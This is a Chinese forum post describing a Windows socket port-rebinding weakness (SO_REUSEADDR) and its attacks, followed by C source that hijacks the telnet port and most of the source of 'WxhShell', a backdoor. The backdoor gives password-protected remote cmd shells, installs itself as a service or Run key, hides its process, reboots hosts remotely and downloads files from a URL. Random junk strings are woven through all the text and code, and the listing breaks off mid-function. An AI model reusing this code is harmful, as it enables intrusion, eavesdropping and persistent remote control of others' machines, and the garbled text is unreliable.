-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: P%.9 g s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,v(G2`Z #~nI^
ggW saddr.sin_family = AF_INET; k5W5 9tz uPb9j;Q? saddr.sin_addr.s_addr = htonl(INADDR_ANY); s|dL.@0,L AQ@A$ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `Q}.9s_ri T7&itgEYG/ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L[rJ7: *j8w"
4 这意味着什么?意味着可以进行如下的攻击: 6]na#< h1J-AfV 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Dr<% Lr #kk_iS>8 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) F^KoEWj[H e(j"u;= 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @zSoPDYv, H`m|R 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 dc"Vc 3) HA"LU;5>2J 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vBq2JJAl P6;L\9=H< 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 luAhyEp {P(IA2J'S 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zaR~ fO BwrMRMq" #include C'kd>LAGu #include l{vi{9n) #include w~Es,@ #include "0nto+v DWORD WINAPI ClientThread(LPVOID lpParam); a!4'}gHR int main() P !6r`d { [R6du*P WORD wVersionRequested; i7:j(W^I8 DWORD ret; no^I![_M WSADATA wsaData; 9
bGN5.5 BOOL val; Va?wG3 w SOCKADDR_IN saddr; RVX-3FvP SOCKADDR_IN scaddr; ;w[|IRa int err; :@ 19,.L SOCKET s; '0z@Jevd? SOCKET sc; %q(n'^#Z.y int caddsize; LR'F/.Dx HANDLE mt; 5=5~GX-kr DWORD tid; MhHygZT[} wVersionRequested = MAKEWORD( 2, 2 ); &&TQ0w&T err = WSAStartup( wVersionRequested, &wsaData ); ad }^Dj/ if ( err != 0 ) { b[VP"KZ ? printf("error!WSAStartup failed!\n"); .,UpI|b return -1; rEz=\yY^j' } B4_0+K H saddr.sin_family = AF_INET; X|@|ZRN &nTB^MF //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *_3+ DF /k(0}g=\ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :1=mNrg saddr.sin_port = htons(23); Jc:*X4-' if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .Mdxbs6.C { D@FJVF7c printf("error!socket failed!\n"); -i7W|X" return -1; 4: 5 CnK } 315Rk!{AJ val = TRUE; |Zncr9b //SO_REUSEADDR选项就是可以实现端口重绑定的 5(tOQ%AQ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) IgQW 5E# { !$f@j6. printf("error!setsockopt failed!\n"); f
\[Z`D return -1; ES<"YF } bY&s$Ry3" //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jo0p/5; //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "PLZZL$+ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /|P&{! -@<k)hWr if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Dm"GCV { E;9SsA
ret=GetLastError(); @ 4j#X printf("error!bind failed!\n"); {pm>F}Cwy return -1; b:WlB[5 } rW&8#& listen(s,2); TBvv(_ while(1) 4Ts5*_ { sGc4^Z%l? caddsize = sizeof(scaddr); n\ZDI+X //接受连接请求 0ppZ~}& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #p6#,PZ if(sc!=INVALID_SOCKET) 5<Xq7|Jt { a&M{y mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Oy&Myjny< if(mt==NULL) X+
h|sy { #=q)>+\ printf("Thread Creat Failed!\n"); t/#[At5p= break; 9#@dQ/* } 9^c\$"2B } 39BGwKXb CloseHandle(mt); ccZ A } *3s4JK closesocket(s); Y*dzoN.sW WSACleanup(); 4-lEo{IIM return 0; d {T3 }
3QL'uk DWORD WINAPI ClientThread(LPVOID lpParam) PGOi#x { 1#&*xF" SOCKET ss = (SOCKET)lpParam; AFF7fK SOCKET sc; BJ @tUn unsigned char buf[4096]; w`UB_h#Bl SOCKADDR_IN saddr; 8m2-fuJz long num; =ugxPgn DWORD val; #,0%g1 DWORD ret; a)`b;]+9 //如果是隐藏端口应用的话,可以在此处加一些判断 0' @^PzX //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 '/Hx0]V saddr.sin_family = AF_INET; ix=HLF-0zC saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !/BXMj,= saddr.sin_port = htons(23); ezY
_7 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4M}u_}9 { F9^8/Z printf("error!socket failed!\n"); bYYyXM return -1; 3;u* _ ]N_ } 0~<d<a -@ val = 100; w q% 4'( if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >u4%s7v { A_muuOIcI ret = GetLastError(); YJ'h=!p}G return -1; \8'fy\ } e #>wv]V if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /0uZ(F|>I { #e((F,1z ret = GetLastError(); Bq#?g@V return -1; weEmUw Z } rLw,? if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x24 { .>Gq/[c0| printf("error!socket connect failed!\n"); 5P,{h closesocket(sc); l(-6pP5` closesocket(ss); .:B]
a7b return -1; ?J<Y] } c6:"5};_ while(1) 8&7LF { jV;&*4if //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !i&^H, //如果是嗅探内容的话,可以再此处进行内容分析和记录 <iajtq<Z //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ek1YaE num = recv(ss,buf,4096,0); s +gZnne if(num>0) 4=9To|U* send(sc,buf,num,0); F0t!k> else if(num==0) !?`5r)K break; ZTfs&5 num = recv(sc,buf,4096,0); D0Oh,Fe#M\ if(num>0) + G#qS1 send(ss,buf,num,0); y]xG@;4M else if(num==0) 6] <~0{ break; A% 9TS/-p } x00"d$! closesocket(ss); o$FqMRep
closesocket(sc); 9[N+x2q return 0 ; HeZ! "^w } }#Z Q\[ RY2`v
pv *-(J$4RNz ========================================================== \Lv
eZ_h5 lpQsmd# 下边附上一个代码,,WXhSHELL ~+d?d6*c ({ads_l ========================================================== XO~xbG7>gZ ,F`:4=H% #include "stdafx.h" D642}VD In#V1[io #include <stdio.h> W'hE, #include <string.h> Yv\.QrxPm #include <windows.h> awQf$ #include <winsock2.h> ;Oh4W<hH} #include <winsvc.h> <i``#"/ #include <urlmon.h> <7fF9X ]1>U@oK #pragma comment (lib, "Ws2_32.lib") x48Y#"' #pragma comment (lib, "urlmon.lib") L:"i,K#P Fy3&Emu #define MAX_USER 100 // 最大客户端连接数 |#q 5#@, #define BUF_SOCK 200 // sock buffer L']EYK5 #define KEY_BUFF 255 // 输入 buffer ))^rk6 oqH811 #define REBOOT 0 // 重启 $=uyZTYF)} #define SHUTDOWN 1 // 关机 }A3(g$8KR d?C8rkV' #define DEF_PORT 5000 // 监听端口 qRT1W re
3 +/y 3]} #define REG_LEN 16 // 注册表键长度 M)C.bo{p #define SVC_LEN 80 // NT服务名长度 D_ybgX?0: Y
O;N9wu3f // 从dll定义API xWWfts1t typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /PH+K24v~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i% 19|an typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NTS
tk{s, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +QT(~< fEf",{I // wxhshell配置信息 9oKRnc struct WSCFG { 9=7),`$ int ws_port; // 监听端口 j38>,9u, char ws_passstr[REG_LEN]; // 口令 ;|Idg"2 int ws_autoins; // 安装标记, 1=yes 0=no /Aooh~ char ws_regname[REG_LEN]; // 注册表键名 ,rVm81-2 char ws_svcname[REG_LEN]; // 服务名 gq~>S1 char ws_svcdisp[SVC_LEN]; // 服务显示名 r\Nf309~ char ws_svcdesc[SVC_LEN]; // 服务描述信息 !7"-9n char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o_ka'| int ws_downexe; // 下载执行标记, 1=yes 0=no 0Aw.aQ~E8i char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" zc>/1>?M char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VRurn>y0 4vKp341B }; _\waA^ F -Zc
6_]F| // default Wxhshell configuration QNj hA '[T struct WSCFG wscfg={DEF_PORT, p!BZTwP "xuhuanlingzhe", ]BGWJ A5 1, 7t= e"|^ "Wxhshell", m,NUNd#)\ "Wxhshell", Y+75}]B "WxhShell Service", DP **pf%j "Wrsky Windows CmdShell Service", xtMN<4#E "Please Input Your Password: ", xzTTK+D@ 1, N+%E=D> " http://www.wrsky.com/wxhshell.exe", fYU/Jn# "Wxhshell.exe" OBaG'lrZy }; k0~mK7k &0Yv*,4] // 消息定义模块 U\'.rT[# char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NKf][!bi char *msg_ws_prompt="\n\r? for help\n\r#>"; ieXhOA char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ~Fp,nE-B char *msg_ws_ext="\n\rExit."; |Z'NMJU char *msg_ws_end="\n\rQuit."; [u\E*8 char *msg_ws_boot="\n\rReboot..."; rlTCVmE8[ char *msg_ws_poff="\n\rShutdown..."; LDqq'}qK6 char *msg_ws_down="\n\rSave to "; m|!R/,>S4
)u?pqFH char *msg_ws_err="\n\rErr!"; +X6xCE char *msg_ws_ok="\n\rOK!"; ovJ#2_ m"*j J.MX char ExeFile[MAX_PATH]; b-R!oP+vP int nUser = 0; g((glr)6M HANDLE handles[MAX_USER]; MUsF/1 int OsIsNt; Ex2TV7I +M-x*;. SERVICE_STATUS serviceStatus; ZlD\)6 dZ SERVICE_STATUS_HANDLE hServiceStatusHandle;
C%#=@HC 'lNy&
// 函数声明 7.)e4 int Install(void); !dQG 5v int Uninstall(void); COPH)Bdq. int DownloadFile(char *sURL, SOCKET wsh); Y-\/Y*;cd int Boot(int flag); &TYTeJ] void HideProc(void); q8%T)$! int GetOsVer(void); )HbsUm# int Wxhshell(SOCKET wsl); $GhdH) void TalkWithClient(void *cs); F0h`>{1% int CmdShell(SOCKET sock); rmXxid int StartFromService(void); ;BzbWvBo int StartWxhshell(LPSTR lpCmdLine); oe,I vnt N"Y) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =>nrU8x VOID WINAPI NTServiceHandler( DWORD fdwControl ); ??eSGQ| ]G.ttfC // 数据结构和表定义 :ad SERVICE_TABLE_ENTRY DispatchTable[] = +k|t[N { JW[y {wscfg.ws_svcname, NTServiceMain}, 5ZeE& vG2 {NULL, NULL} m?cC 0(6 }; c ;_ T C-!!1-Eq?: // 自我安装 N>qOiw[ int Install(void) a9S0glbwf { :{@&5KQ8) char svExeFile[MAX_PATH]; s%F}4W2s HKEY key; ArWMbT>Zqw strcpy(svExeFile,ExeFile); 6[fp e xG:eS:iT // 如果是win9x系统,修改注册表设为自启动 eX7dyM if(!OsIsNt) {
~/Gx~P] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =kvfe" N0e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HE
GMwRJG RegCloseKey(key); n,D~ whZx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y'\BpP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wBz?OnD/D RegCloseKey(key); +-tvNX%IJ return 0; .^6;_s>FN } a+A^njk } +oa\'.~? } ,#&\1Vxf else { )p*I(y VN!`@Ci/ // 如果是NT以上系统,安装为系统服务 S+(TRIjk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #'5|$ug[ if (schSCManager!=0) ):"Z7~j= { umPd+5i SC_HANDLE schService = CreateService RsV<4$ ( A9Cq(L_H schSCManager, rg Gm[SL*< wscfg.ws_svcname, m(MPVY<X wscfg.ws_svcdisp, ?sfas57&y SERVICE_ALL_ACCESS, `o~dQb/k+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iSDE6 SERVICE_AUTO_START, | R MIV SERVICE_ERROR_NORMAL, Py2AnpYa svExeFile, 7|4t;F! NULL, ]7<}EG NULL, e8T#ZWr* NULL,
o!:V=F NULL, )~/;Xl#b- NULL 0>@D{_}s ); V1y" if (schService!=0) lAjP'( { ffMh2 CloseServiceHandle(schService); W/03L, 1 CloseServiceHandle(schSCManager); k?r-%oJ7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n^F:p*)Q% strcat(svExeFile,wscfg.ws_svcname); :)f/>-
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8!8 yA RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )1 ]P4 RegCloseKey(key); 4n6EkTa return 0; /ZC/yGdIS_ } UcaLi& } qKoD*cl)Za CloseServiceHandle(schSCManager); Uc
oVp}vl } kLc}a5; } %eJolztKZ ,H6*9!Dv2 return 1; 6z;C~_BV } u!kC+0Y F3BWi[Xh // 自我卸载 80qSPitj int Uninstall(void) n-X;JYQW { K@uUe3 HKEY key; DH7B4P lw/zgR#| if(!OsIsNt) { ;F>$\"aG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &.dC% RegDeleteValue(key,wscfg.ws_regname); LOm*=MVex RegCloseKey(key); : ?K}.Kb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D@jG+k-Lm RegDeleteValue(key,wscfg.ws_regname); KDx~^OO RegCloseKey(key); \}CQo0v return 0; #jY\l&E } 9 Vn
} ZUDdLJ } Vz=ByyC else { 82w;}(! l,z#
:k SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _hM
#*?}v if (schSCManager!=0) wUUDq?!k\ { $bf&ct*$h SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )C?bb$
G if (schService!=0) VD=}GY33= { z"cF\F if(DeleteService(schService)!=0) { &/%A 9R, CloseServiceHandle(schService); q.
i2BoOd CloseServiceHandle(schSCManager); m
2tw[6M return 0; 6??o(ziK$ } G)ppkH`qj CloseServiceHandle(schService); r'!HWR } E
cS+/ CloseServiceHandle(schSCManager); q?R)9E$h } X5s.F%Np! } &ZkY9XO JCL+uEX4S return 1; h6Femis } /(/Z~J[ d!BQ%a // 从指定url下载文件 C!]R0L* int DownloadFile(char *sURL, SOCKET wsh) KyQO>g{R { JnC$}amr HRESULT hr; /O,>s char seps[]= "/"; ,'FH[2 char *token; G9`;Z^<L char *file; i5f8}`w char myURL[MAX_PATH]; $P=B66t
^ char myFILE[MAX_PATH]; +
F{hFuHV D'{NEk@ strcpy(myURL,sURL); 18(hrj token=strtok(myURL,seps); s^atBqw, while(token!=NULL) (P(=6-0 { E5^P*6c( file=token; rV
yw1D token=strtok(NULL,seps); _J|TCm } [#+yL nRP|Qt7> GetCurrentDirectory(MAX_PATH,myFILE); & XS2q0-x strcat(myFILE, "\\"); }6Ut7J]a| strcat(myFILE, file); Z&f@)j send(wsh,myFILE,strlen(myFILE),0); O9+Dd%_KS# send(wsh,"...",3,0); 5y
9(<}z hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A*1-2 if(hr==S_OK) /G{;?R return 0; {B!LhvYAH else H@+1I?l return 1; *En29N#a{ 7H$I9e } [uJfmr EH 6MewQ{h i // 系统电源模块 fGeDygV^` int Boot(int flag) y4@zi "G { E{LLxGAEZ HANDLE hToken; oFO)28Btv TOKEN_PRIVILEGES tkp; r JvtE}x1 iMT[sb if(OsIsNt) { q=EHB5!q OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )bd)noZi LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QR ?JN\%? tkp.PrivilegeCount = 1; -Kas9\VWEw tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |S0w>VH> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QLs9W&PG if(flag==REBOOT) { @r.w+E= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n7|8`?R^ return 0; p)u?x)w= } [~aRA'qJ{V else { Q)/V>QW if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b7^Db6qu return 0; $dxk;V } >/]`
f8^ } Io(*_3V)B else { 2`|gnVw if(flag==REBOOT) { H%nA"- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D]?eRO9' return 0; EJCf[#Sf } Kl'u else { 65HP9`5Tm if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z!/!4(Fh return 0; yb-1zF| } 7R4t%^F } <:n!qQS6 ]+"25V'L return 1; X7bS{GT } !J6;F}Pd/ '%H\k5^ // win9x进程隐藏模块 zu,F 0;De void HideProc(void) ,+d\@ : { PeX^aEc H|.cD)&eYy HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /e:kBjysJ if ( hKernel != NULL ) |]Eli%mNe { F3?PlH:Y pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kS7`g A ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f-!P[6bY FreeLibrary(hKernel); wv7XhY} } hZ[(Ik]*Zd M+L8~BD@ return; S"@/F-
81 } )bgaqca_{ :Rroz]* // 获取操作系统版本 l%_r 3W int GetOsVer(void) sTSNu+ { baO'FyCs9& OSVERSIONINFO winfo; 9cnLf# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yrF"`/zv6| GetVersionEx(&winfo); t:O"t
G if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KLBX2H2^0 return 1; :~{Nf-y0`1 else Q,m&XpZ return 0; J#*%r) } rRQKW_9mB O
a%ZlEUF // 客户端句柄模块 8Y,imj\(v int Wxhshell(SOCKET wsl) 2.2G79U, { \C}_l+nY SOCKET wsh; mm:g9j struct sockaddr_in client; Q1'4xWu DWORD myID; W^k|*Y| *}P=7TuS while(nUser<MAX_USER) 3F gTM( { CX}==0od int nSize=sizeof(client); $<s;YhM:u) wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JQ%D6b if(wsh==INVALID_SOCKET) return 1; 7C>5XyyJ ~-tKMc).X handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lDX\"Fq if(handles[nUser]==0) _/5#A+ ? closesocket(wsh); a/{M2 else VR XK/dZ nUser++; P?o|N<46 } T!%J x.^ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); | zyO; 0@tN3u?dx return 0; v;o/M6GL5 } (3Dz'X o()No_.8H // 关闭 socket [e`e bn[C void CloseIt(SOCKET wsh) )>]@@Trx { YHOo6syk closesocket(wsh); M~ku4ZP nUser--; NiSH$MJ_ ExitThread(0); @~CXnc0 } ^1-Vd5g -(lCM/h // 客户端请求句柄 ' 4.T1i, void TalkWithClient(void *cs) f
0r?cZ { AF\gB2^ })yB2Q0 SOCKET wsh=(SOCKET)cs; gLK _b;: char pwd[SVC_LEN]; ?J ,K[.z char cmd[KEY_BUFF]; x(+H1D\W char chr[1]; b V&"jjEx int i,j; 6qd?&.=r =mYwO=:D while (nUser < MAX_USER) { VC X^D)[- =$-+~ if(wscfg.ws_passstr) { a797'{j#PI if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2_GbK- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]ne //ZeroMemory(pwd,KEY_BUFF); isU4D i=0; Q*ixg$> while(i<SVC_LEN) { \P;2s<6i\ jdX* // 设置超时 )wNcz~
Y fd_set FdRead; [?55vYt struct timeval TimeOut; n.7-$1 FD_ZERO(&FdRead); Z</57w#-7 FD_SET(wsh,&FdRead); )Ah 7 TimeOut.tv_sec=8; 5ENEx TimeOut.tv_usec=0; ~X<?&;6 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FWW*f
_L if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d]K$0HY E1D0un if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /8wfI_P>M" pwd =chr[0]; uQYenCNXS if(chr[0]==0xd || chr[0]==0xa) { ?UV|m pwd=0; L./{^) break; ML.|\:r* } Nj{; i++; 0{(5J,/BF } dC>(UDC ,Bs/.htQj // 如果是非法用户,关闭 socket )I"I[jDw if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PYiO l } %.WW-S3 6xLQ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wpg7xx! send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O t{~mMDp 5><T#0W? while(1) { f0{j/+F_o xri(j,mU ZeroMemory(cmd,KEY_BUFF); k\X yR4r 8RT<?I^5 // 自动支持客户端 telnet标准 Gdz* j=0; p$}/~5b}4 while(j<KEY_BUFF) { X<Ag['r if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <+Gf!0i cmd[j]=chr[0]; jJD*s/o if(chr[0]==0xa || chr[0]==0xd) { iu.Jp92 cmd[j]=0; !j/54, break; -TS5g1 } ,AH2/^:%c j++; q[(1zG%NbA } 05Q4$P
biPj(Dd // 下载文件 +DaKP)H\: if(strstr(cmd,"http://")) { ^<3{0g-"AW send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2B"tT"f if(DownloadFile(cmd,wsh)) *j<{3$6Ii send(wsh,msg_ws_err,strlen(msg_ws_err),0); mFmxEv else tL M@o|: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZgfhNI\ } B'I_i$g4w else { (duR1Dz kqjj&{vPFJ switch(cmd[0]) { 3Ww 37V>h -<:w{cV // 帮助 85USMPF case '?': { *D67&/g. send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A8g_BLj!e break; qJE_4/<^! } Sx1|Oq] // 安装 [ldBI3 case 'i': { "m`}J*s" if(Install()) X\kWJQ: send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2BiFP|| else (+SL1O P send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :j? MEeu break; 6xFchdMG{m } \Hw*q| // 卸载 juI)Do2_ case 'r': { `A#0If if(Uninstall()) -2j[;kgt} send(wsh,msg_ws_err,strlen(msg_ws_err),0); s4j]kH else ?6UjD5NkX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4";NT;_q5 break; =@c;%x } Y;@]G=a
// 显示 wxhshell 所在路径 "wCx]{Di case 'p': { *'*n}fM char svExeFile[MAX_PATH]; ~14|y|\/ strcpy(svExeFile,"\n\r"); <"8F=3:uk strcat(svExeFile,ExeFile); 86>@.:d send(wsh,svExeFile,strlen(svExeFile),0); sN K^.0 break; J50n
E~ } cG&@PO]+. // 重启 hcM9Sx"! case 'b': { B4* uS ( send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0oZZLi if(Boot(REBOOT)) z4(`>z2a send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2O- 4x else { 9I*2xy|I closesocket(wsh); Ta$55K0 ExitThread(0); uw/N`u } 4C )sjk?m break; 3Kc9*]D } y\,,hs // 关机 eaDR-g" case 'd': { <{h\Msx% send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eJ6 #x$I, if(Boot(SHUTDOWN)) >f4[OBc send(wsh,msg_ws_err,strlen(msg_ws_err),0); i(;.Y else { 6uTC2ka[&R closesocket(wsh); %`~+^{Wp ExitThread(0); x4h.WDT$ } Gqj(2.AY break; ^j@+!A_.Q } 'u%vpvF // 获取shell vz)R84 case 's': { {Us^4Xe CmdShell(wsh); B@S~v+Gr closesocket(wsh); |bhv7(_ ExitThread(0); *>2e4j] break; BHiG3fP } m WHyk "l // 退出 !p76I=H% case 'x': { 2%pU'D: send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _BONN6=*y CloseIt(wsh); e*}:tH break; ysPm4am$ } l *{Bz5hc // 离开 HCCq9us case 'q': { / !y~Q|<|= send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6=Wevb5YJ closesocket(wsh); =M}tet
} WSACleanup(); It<VjN9
exit(1); bxzx@sF2l break; HAo=t } 'nq~1 >i } f96`n+>xi } i8p$wf"aW m#R"~ > // 提示信息 Qv
g_|~n if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |ICn/r~ } >&ZlCE } `7'^y 2h#.:!/SMw return; T1R~^x1 } ~]].i~EV( _CTg")0o // shell模块句柄 ng~LCffpY int CmdShell(SOCKET sock) Z"qJil} { ^Bo'87!. STARTUPINFO si; +FAxqCkA ZeroMemory(&si,sizeof(si)); nLmF5.& si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o4OB xHKy si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *]}F=dtR k PROCESS_INFORMATION ProcessInfo; `'*4B_. char cmdline[]="cmd"; :_]0 8 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MppT"t return 0; z}B8&*> } {'[VL;k V;^N:I\js // 自身启动模式 FFcIOn int StartFromService(void) +'+Nr< { X
